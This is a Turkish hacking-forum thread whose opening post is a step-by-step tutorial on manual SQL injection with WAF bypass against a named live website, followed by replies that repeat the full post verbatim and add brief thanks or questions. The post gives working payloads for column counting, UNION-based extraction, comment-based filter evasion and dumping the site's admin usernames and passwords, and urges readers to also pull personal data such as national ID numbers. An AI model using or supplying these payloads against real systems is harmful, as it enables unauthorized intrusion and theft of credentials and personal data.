Manuel SQL İnjection Waf Denemeleri #1

'T0YB0X

Katılımcı Üye
8 Ocak 2017
934
465
C:\Program Files (x86)\

Arkadaşlar basitten zora doğru bulduğum siteler de manuel SQL injection yaparak waff bypass nasıl geçeriz onu göstereceğim serinin ilk konusuna hoşgeldiniz.


Hedef site:

Kod:
[COLOR="red"] [CENTER]http://www.everday.com/newsdetail.php?id=20'[/CENTER][/COLOR]

Öncelikle bakalım sitemiz de SQL injection açığı varmı?
Hedef sitemizin sonuna " ' " (Tek tırnak) koyuyoruz.
Evet hatamızı aldık.

Uyc8Bg.png


Sonra sitemizin kaç adet kolonu var ona bakalım bunun için ihtiyacımız olan kodu manuel SQL injection deneyenler biliyor değil mi?

Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+order+by+1--+-[/CENTER] [/COLOR]


floeU2.png


Evet 1 yaptığımız da hata ortadan kalkıyor sayfa normal haline dönüyor. 1 kısmında Biz sayfaya hata verdirmeyen son sayıya ulaşmaya çalışıyoruz değil mi? Ee o zaman ben 20 den başlamak istiyorum.



sCHotX.png


Sql hatasi aldık o zaman 20 den düşük kolonumuz var demektir.
Sırayla 20 den aşşağı "1" "1" eksilterek bakalım hangi sayı da hata almıyoruz?
19 SQL error
18 normal bir şekilde hatasız sayfa geliyor.


CWGlVd.png


Evet şimdi sitemizi hata almadan gösterebildik.
Arkadaşlar bu şekilde uğraşmak yerine başka bir kod deneyelim
Not : arkadaşlar ben 50 den düşük olduğunu tahmin ederek 50 ye kadar yazdım(otomatik yazdırdım uğraşmadım tek tek :)


Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+group+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50--+-[/CENTER][/COLOR]

Yaptığımız zaman bakın SQL hatasının altında "INFO: Unknown column '19' in 'group statement' " diyor
Bu da demek oluyor ki kolonumuz 18

tAk5Oa.png


Kısa yoldan bulduk :) ama her site de işe yaramaz.
Dipnot

Kod:
 [COLOR="red"] [CENTER]order by da waff geçmediğimiz veya bir sonuç alamadığımız zaman bu kodu veya group by x olarak da deneyebiliriz[/CENTER][/COLOR]

Gelelim kolonlarımızı yansıtmaya

Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]
yaptığımız zaman forbidden hatası alıyoruz. Aslında bu bir hata değil güvenlik duvarı. Altında ingilizce yazdığı gibi :)

K21K5y.png


Evet waff bypass bura da devreye giriyor.

Kod:
[COLOR="red"]Dipnot Bazı waff bypass kodları(temelden ilerliyoruz değil mi?) 

/*!50000 xx */ 
/*!12345 xx */ 
/*!13337 xx */
/* */ 
/**_**/[/COLOR]
[/COLOR]
[CODE]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER]

[/CODE]



7qIYIo.png


Evet sadece union bypasslayarak selecti bypasslamaya gerek kalmadan sitemizdeki zaafiyetli olan kolonlarımızı yansıtmayı başardık.
( kodu yazdığımız da sayfa normal bir şekilde yanıt geliyor ise id değerinin başına "-" (tire) koymamız yeterli olacaktır. Yani id=-20)
Yansıttığımız kolonlardan birini seçelim. Ben 4 numarayı seçiyorum.

Veritabanının adını öğrenelim.
4 yerine database() yazıyoruz dimi? Yani kodumuz
Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]


wcPWIl.png


Ben tek tek yazdırmak yerine group_concat operatörünü kullanıp birden fazla şey yazdırmak istiyorum.

Kod:
[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(database(),0x3a,user(),0x3a,version(),0x3a,@@hostname),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/COLOR]

Evet veritabanı adı user versiyon ve hostname öğrenmiş olduk. Aralarına

Kod:
[COLOR="red"]
Hex = : = 0x3a
Bildiğiniz html = "<Br>" bir alt satıra geçme yani. 
 [/COLOR]

Koyarak ayrıştırmış oluyoruz.

mFGP1C.png


Şimdi database bağlı tablolarımızı listeleyelim.

Kod:
[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]


ToLn6V.png


Tablolarımız web sitesinde sağa doğru giderek gösterir bizlere bazen ekrana sığmıyor olabiliyor. Bunun için
1-) sayfanın kaynak koduna bakmak yani site başına view-source: yada sağ tık "kaynağı görüntüle
2-) br koduyla tüm tabloları alt alta yazdırmak.


oYtHBu.png



Kod:
[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]

Tablolarımızı alt alta yazdık. Dikkatimi çeken ve bakmamız gereken tablo adımız
= Web_admin değil mi? Şimdi bide kolonlarını yazmaklamı uğraşacağız?

Yada gelin tablo ve kolonları ayrı ayrı çekmekle uğraşmayalım.

Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,0x3a,column_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_schema=database()--+-[/CENTER][/COLOR]


zPKvAb.png


Arkadaşlar kodunuzu dikkatli bir şekilde inceleyelim. Nerde ne yapmışım doğru bir şekilde mantığını kavrayarak öğrenmemiz lazım.her site de bu kadar kolay bir şekilde çekemeyebiliriz

Bizim öğrenmemiz gereken user veya admin bilgileri dimi? Dikkatimi çeken tablo web_admin oldu

Kolonlarını da bakarsak adm_name,adm_pwd var bunları dump edelim şimdi.

Kod:
[COLOR="white"]
[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(adm_name,0x3a,adm_pwd,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+web_admin--+-[/COLOR]
[/COLOR]
Bakın 3 tane user varmış .
Yazdığımız kod kullanıcı adı : kullanıcı şifresi
Olarak tekâbul ediyor.

1dESCs.png



Veritabanını çektiğimiz de sadece admin kullanıcı adı ve şifresini alıp bırakmayalım. Başka tablolara da bakmayı unutmayalım..

Bu bir üniversite sitesi olsaydı belki de bu tabloların birinde öğrencilerine ait isim,soyisim,email,numara,TC,hangi bölüm, adres gibi şeyler de yer alabilirdi.


Arkadaşlar evet bu waff bypass konusu ama içeriğinde sizi uğraşmaktan kurtaracak bilgiler de yer almakta diye düşünüyorum. Burda yaptığımız manuel SQL injection da sadece union bypass ederek tüm bilgilere ulaşmış olduk ama bu en basit olanıydı.


Soranlar olacaktır evet, union bypassladık ama hala forbidden e takılıyorum?


Manuel SQL injection da bizim kendi sorgumuz da kullandığımız bütün parametrelerinin hepsini de bypasslamaya ihtiyacımız olabilir.


Düşünelim ki union bypassladık ama forbidden takılıyoruz hala

Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]



select i bypassladık ve geçtik. Sayılarımızı yazdırdık.

Tablolarımızı yazdırdığımızda karşımıza yine forbidden geliyor varsayalım.

Arkadaşlarım güvenlik duvarı hangi operatöre izin vermiyor bilmiyoruz deneme yanılma yöntemiyle sırayla deniyoruz. Sadece "FROM" operatörünü bypasslayarak da geçebiliriz aşşağıda kodda ki gibi hepsini bypasslayadabiliriz.

Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,/*!50000group_concat(table_name)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18+/*!12345from*/+/*!information_schema*/.tables+/*!50000where*/+/*!12345table_schema*/=database()--+-[/CENTER][/COLOR]


Şimdilik bu kadar arkadaşlar esenlikler.


 
Son düzenleme:

PresanS

Kıdemli Üye
8 Ocak 2017
2,470
202
24
Debian
Cevap: Manuel SQL injection waff denemeleri #1

Emeğine sağlık kardeşim güzel bir anlatım olmuş.
 

batwo11

Yeni üye
30 Haz 2022
9
4
Yer altında
Merhabalar bir şey soracağım mesela sitede newsdetail.php?id=20 yazıyor newsdetail.php?id=20+order+by+1--+- bunu ekledikten sonra daha 1. şeyde 404 NOT FOUND veriyorsa ne yapacağız?
 

ankamurat

Katılımcı Üye
24 Eyl 2022
453
186
┌─(root@ankamurat)


Arkadaşlar basitten zora doğru bulduğum siteler de manuel SQL injection yaparak waff bypass nasıl geçeriz onu göstereceğim serinin ilk konusuna hoşgeldiniz.





Hedef site:




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=White]
[CENTER]

[COLOR="red"] [CENTER]http://www.everday.com/newsdetail.php?id=20'[/CENTER][/COLOR]




Öncelikle bakalım sitemiz de SQL injection açığı varmı?

Hedef sitemizin sonuna " ' " (Tek tırnak) koyuyoruz.


Evet hatamızı aldık.



Uyc8Bg.png




Sonra sitemizin kaç adet kolonu var ona bakalım bunun için ihtiyacımız olan kodu manuel SQL injection deneyenler biliyor değil mi?



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+order+by+1--+-[/CENTER] [/COLOR]






floeU2.png




Evet 1 yaptığımız da hata ortadan kalkıyor sayfa normal haline dönüyor. 1 kısmında Biz sayfaya hata verdirmeyen son sayıya ulaşmaya çalışıyoruz değil mi? Ee o zaman ben 20 den başlamak istiyorum.







sCHotX.png




Sql hatasi aldık o zaman 20 den düşük kolonumuz var demektir.

Sırayla 20 den aşşağı "1" "1" eksilterek bakalım hangi sayı da hata almıyoruz?


19 SQL error

18 normal bir şekilde hatasız sayfa geliyor.





CWGlVd.png




Evet şimdi sitemizi hata almadan gösterebildik.

Arkadaşlar bu şekilde uğraşmak yerine başka bir kod deneyelim
Not : arkadaşlar ben 50 den düşük olduğunu tahmin ederek 50 ye kadar yazdım(otomatik yazdırdım uğraşmadım tek tek :)





Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+group+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50--+-[/CENTER][/COLOR]




Yaptığımız zaman bakın SQL hatasının altında "INFO: Unknown column '19' in 'group statement' " diyor

Bu da demek oluyor ki kolonumuz 18



tAk5Oa.png




Kısa yoldan bulduk :) ama her site de işe yaramaz.

Dipnot




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"] [CENTER]order by da waff geçmediğimiz veya bir sonuç alamadığımız zaman bu kodu veya group by x olarak da deneyebiliriz[/CENTER][/COLOR]




Gelelim kolonlarımızı yansıtmaya



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]


yaptığımız zaman forbidden hatası alıyoruz. Aslında bu bir hata değil güvenlik duvarı. Altında ingilizce yazdığı gibi :)



K21K5y.png




Evet waff bypass bura da devreye giriyor.



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER][COLOR="red"]Dipnot Bazı waff bypass kodları(temelden ilerliyoruz değil mi?) 



/*!50000 xx */ 

/*!12345 xx */ 

/*!13337 xx */

/* */ 

/**_**/[/COLOR]

[/COLOR]

[CODE]



[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER]




[/CODE]





7qIYIo.png




Evet sadece union bypasslayarak selecti bypasslamaya gerek kalmadan sitemizdeki zaafiyetli olan kolonlarımızı yansıtmayı başardık.

( kodu yazdığımız da sayfa normal bir şekilde yanıt geliyor ise id değerinin başına "-" (tire) koymamız yeterli olacaktır. Yani id=-20)


Yansıttığımız kolonlardan birini seçelim. Ben 4 numarayı seçiyorum.



Veritabanının adını öğrenelim.

4 yerine database() yazıyoruz dimi? Yani kodumuz


Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=White]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]






wcPWIl.png




Ben tek tek yazdırmak yerine group_concat operatörünü kullanıp birden fazla şey yazdırmak istiyorum.




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(database(),0x3a,user(),0x3a,version(),0x3a,@@hostname),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/COLOR]




Evet veritabanı adı user versiyon ve hostname öğrenmiş olduk. Aralarına



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER][COLOR="red"]

Hex = : = 0x3a

Bildiğiniz html = "<Br>" bir alt satıra geçme yani. 

[/COLOR]




Koyarak ayrıştırmış oluyoruz.



mFGP1C.png




Şimdi database bağlı tablolarımızı listeleyelim.



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]






ToLn6V.png




Tablolarımız web sitesinde sağa doğru giderek gösterir bizlere bazen ekrana sığmıyor olabiliyor. Bunun için

1-) sayfanın kaynak koduna bakmak yani site başına view-source: yada sağ tık "kaynağı görüntüle


2-) br koduyla tüm tabloları alt alta yazdırmak.



oYtHBu.png






Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]




Tablolarımızı alt alta yazdık. Dikkatimi çeken ve bakmamız gereken tablo adımız

= Web_admin değil mi? Şimdi bide kolonlarını yazmaklamı uğraşacağız?




Yada gelin tablo ve kolonları ayrı ayrı çekmekle uğraşmayalım.



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=White]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,0x3a,column_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_schema=database()--+-[/CENTER][/COLOR]






zPKvAb.png




Arkadaşlar kodunuzu dikkatli bir şekilde inceleyelim. Nerde ne yapmışım doğru bir şekilde mantığını kavrayarak öğrenmemiz lazım.her site de bu kadar kolay bir şekilde çekemeyebiliriz



Bizim öğrenmemiz gereken user veya admin bilgileri dimi? Dikkatimi çeken tablo web_admin oldu




Kolonlarını da bakarsak adm_name,adm_pwd var bunları dump edelim şimdi.



Kod:
[/COLOR][/CENTER]
[COLOR=Plum]
[CENTER][COLOR="white"]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(adm_name,0x3a,adm_pwd,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+web_admin--+-[/COLOR]

[/COLOR]


Bakın 3 tane user varmış .

Yazdığımız kod kullanıcı adı : kullanıcı şifresi

Olarak tekâbul ediyor.



1dESCs.png






Veritabanını çektiğimiz de sadece admin kullanıcı adı ve şifresini alıp bırakmayalım. Başka tablolara da bakmayı unutmayalım..



Bu bir üniversite sitesi olsaydı belki de bu tabloların birinde öğrencilerine ait isim,soyisim,email,numara,TC,hangi bölüm, adres gibi şeyler de yer alabilirdi.





Arkadaşlar evet bu waff bypass konusu ama içeriğinde sizi uğraşmaktan kurtaracak bilgiler de yer almakta diye düşünüyorum. Burda yaptığımız manuel SQL injection da sadece union bypass ederek tüm bilgilere ulaşmış olduk ama bu en basit olanıydı.





Soranlar olacaktır evet, union bypassladık ama hala forbidden e takılıyorum?





Manuel SQL injection da bizim kendi sorgumuz da kullandığımız bütün parametrelerinin hepsini de bypasslamaya ihtiyacımız olabilir.





Düşünelim ki union bypassladık ama forbidden takılıyoruz hala



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]








select i bypassladık ve geçtik. Sayılarımızı yazdırdık.



Tablolarımızı yazdırdığımızda karşımıza yine forbidden geliyor varsayalım.



Arkadaşlarım güvenlik duvarı hangi operatöre izin vermiyor bilmiyoruz deneme yanılma yöntemiyle sırayla deniyoruz. Sadece "FROM" operatörünü bypasslayarak da geçebiliriz aşşağıda kodda ki gibi hepsini bypasslayadabiliriz.




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,/*!50000group_concat(table_name)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18+/*!12345from*/+/*!information_schema*/.tables+/*!50000where*/+/*!12345table_schema*/=database()--+-[/CENTER][/COLOR]






Şimdilik bu kadar arkadaşlar esenlikler.





kullandığın uygulamlar neler
 

ACE Veen

Uzman üye
4 Şub 2023
1,075
533
Belirsiz


Arkadaşlar basitten zora doğru bulduğum siteler de manuel SQL injection yaparak waff bypass nasıl geçeriz onu göstereceğim serinin ilk konusuna hoşgeldiniz.





Hedef site:




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=White]
[CENTER]

[COLOR="red"] [CENTER]http://www.everday.com/newsdetail.php?id=20'[/CENTER][/COLOR]




Öncelikle bakalım sitemiz de SQL injection açığı varmı?

Hedef sitemizin sonuna " ' " (Tek tırnak) koyuyoruz.


Evet hatamızı aldık.



Uyc8Bg.png




Sonra sitemizin kaç adet kolonu var ona bakalım bunun için ihtiyacımız olan kodu manuel SQL injection deneyenler biliyor değil mi?



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+order+by+1--+-[/CENTER] [/COLOR]






floeU2.png




Evet 1 yaptığımız da hata ortadan kalkıyor sayfa normal haline dönüyor. 1 kısmında Biz sayfaya hata verdirmeyen son sayıya ulaşmaya çalışıyoruz değil mi? Ee o zaman ben 20 den başlamak istiyorum.







sCHotX.png




Sql hatasi aldık o zaman 20 den düşük kolonumuz var demektir.

Sırayla 20 den aşşağı "1" "1" eksilterek bakalım hangi sayı da hata almıyoruz?


19 SQL error

18 normal bir şekilde hatasız sayfa geliyor.





CWGlVd.png




Evet şimdi sitemizi hata almadan gösterebildik.

Arkadaşlar bu şekilde uğraşmak yerine başka bir kod deneyelim
Not : arkadaşlar ben 50 den düşük olduğunu tahmin ederek 50 ye kadar yazdım(otomatik yazdırdım uğraşmadım tek tek :)





Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+group+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50--+-[/CENTER][/COLOR]




Yaptığımız zaman bakın SQL hatasının altında "INFO: Unknown column '19' in 'group statement' " diyor

Bu da demek oluyor ki kolonumuz 18



tAk5Oa.png




Kısa yoldan bulduk :) ama her site de işe yaramaz.

Dipnot




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"] [CENTER]order by da waff geçmediğimiz veya bir sonuç alamadığımız zaman bu kodu veya group by x olarak da deneyebiliriz[/CENTER][/COLOR]




Gelelim kolonlarımızı yansıtmaya



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]


yaptığımız zaman forbidden hatası alıyoruz. Aslında bu bir hata değil güvenlik duvarı. Altında ingilizce yazdığı gibi :)



K21K5y.png




Evet waff bypass bura da devreye giriyor.



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER][COLOR="red"]Dipnot Bazı waff bypass kodları(temelden ilerliyoruz değil mi?) 



/*!50000 xx */ 

/*!12345 xx */ 

/*!13337 xx */

/* */ 

/**_**/[/COLOR]

[/COLOR]

[CODE]



[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER]




[/CODE]





7qIYIo.png




Evet sadece union bypasslayarak selecti bypasslamaya gerek kalmadan sitemizdeki zaafiyetli olan kolonlarımızı yansıtmayı başardık.

( kodu yazdığımız da sayfa normal bir şekilde yanıt geliyor ise id değerinin başına "-" (tire) koymamız yeterli olacaktır. Yani id=-20)


Yansıttığımız kolonlardan birini seçelim. Ben 4 numarayı seçiyorum.



Veritabanının adını öğrenelim.

4 yerine database() yazıyoruz dimi? Yani kodumuz


Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=White]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]






wcPWIl.png




Ben tek tek yazdırmak yerine group_concat operatörünü kullanıp birden fazla şey yazdırmak istiyorum.




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(database(),0x3a,user(),0x3a,version(),0x3a,@@hostname),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/COLOR]




Evet veritabanı adı user versiyon ve hostname öğrenmiş olduk. Aralarına



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER][COLOR="red"]

Hex = : = 0x3a

Bildiğiniz html = "<Br>" bir alt satıra geçme yani. 

[/COLOR]




Koyarak ayrıştırmış oluyoruz.



mFGP1C.png




Şimdi database bağlı tablolarımızı listeleyelim.



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]






ToLn6V.png




Tablolarımız web sitesinde sağa doğru giderek gösterir bizlere bazen ekrana sığmıyor olabiliyor. Bunun için

1-) sayfanın kaynak koduna bakmak yani site başına view-source: yada sağ tık "kaynağı görüntüle


2-) br koduyla tüm tabloları alt alta yazdırmak.



oYtHBu.png






Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]




Tablolarımızı alt alta yazdık. Dikkatimi çeken ve bakmamız gereken tablo adımız

= Web_admin değil mi? Şimdi bide kolonlarını yazmaklamı uğraşacağız?




Yada gelin tablo ve kolonları ayrı ayrı çekmekle uğraşmayalım.



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=White]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,0x3a,column_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_schema=database()--+-[/CENTER][/COLOR]






zPKvAb.png




Arkadaşlar kodunuzu dikkatli bir şekilde inceleyelim. Nerde ne yapmışım doğru bir şekilde mantığını kavrayarak öğrenmemiz lazım.her site de bu kadar kolay bir şekilde çekemeyebiliriz



Bizim öğrenmemiz gereken user veya admin bilgileri dimi? Dikkatimi çeken tablo web_admin oldu




Kolonlarını da bakarsak adm_name,adm_pwd var bunları dump edelim şimdi.



Kod:
[/COLOR][/CENTER]
[COLOR=Plum]
[CENTER][COLOR="white"]

[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(adm_name,0x3a,adm_pwd,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+web_admin--+-[/COLOR]

[/COLOR]


Bakın 3 tane user varmış .

Yazdığımız kod kullanıcı adı : kullanıcı şifresi

Olarak tekâbul ediyor.



1dESCs.png






Veritabanını çektiğimiz de sadece admin kullanıcı adı ve şifresini alıp bırakmayalım. Başka tablolara da bakmayı unutmayalım..



Bu bir üniversite sitesi olsaydı belki de bu tabloların birinde öğrencilerine ait isim,soyisim,email,numara,TC,hangi bölüm, adres gibi şeyler de yer alabilirdi.





Arkadaşlar evet bu waff bypass konusu ama içeriğinde sizi uğraşmaktan kurtaracak bilgiler de yer almakta diye düşünüyorum. Burda yaptığımız manuel SQL injection da sadece union bypass ederek tüm bilgilere ulaşmış olduk ama bu en basit olanıydı.





Soranlar olacaktır evet, union bypassladık ama hala forbidden e takılıyorum?





Manuel SQL injection da bizim kendi sorgumuz da kullandığımız bütün parametrelerinin hepsini de bypasslamaya ihtiyacımız olabilir.





Düşünelim ki union bypassladık ama forbidden takılıyoruz hala



Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]








select i bypassladık ve geçtik. Sayılarımızı yazdırdık.



Tablolarımızı yazdırdığımızda karşımıza yine forbidden geliyor varsayalım.



Arkadaşlarım güvenlik duvarı hangi operatöre izin vermiyor bilmiyoruz deneme yanılma yöntemiyle sırayla deniyoruz. Sadece "FROM" operatörünü bypasslayarak da geçebiliriz aşşağıda kodda ki gibi hepsini bypasslayadabiliriz.




Kod:
[/COLOR][/COLOR][/CENTER]
[COLOR=Plum][COLOR=white]
[CENTER]

[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,/*!50000group_concat(table_name)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18+/*!12345from*/+/*!information_schema*/.tables+/*!50000where*/+/*!12345table_schema*/=database()--+-[/CENTER][/COLOR]






Şimdilik bu kadar arkadaşlar esenlikler.





eline sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.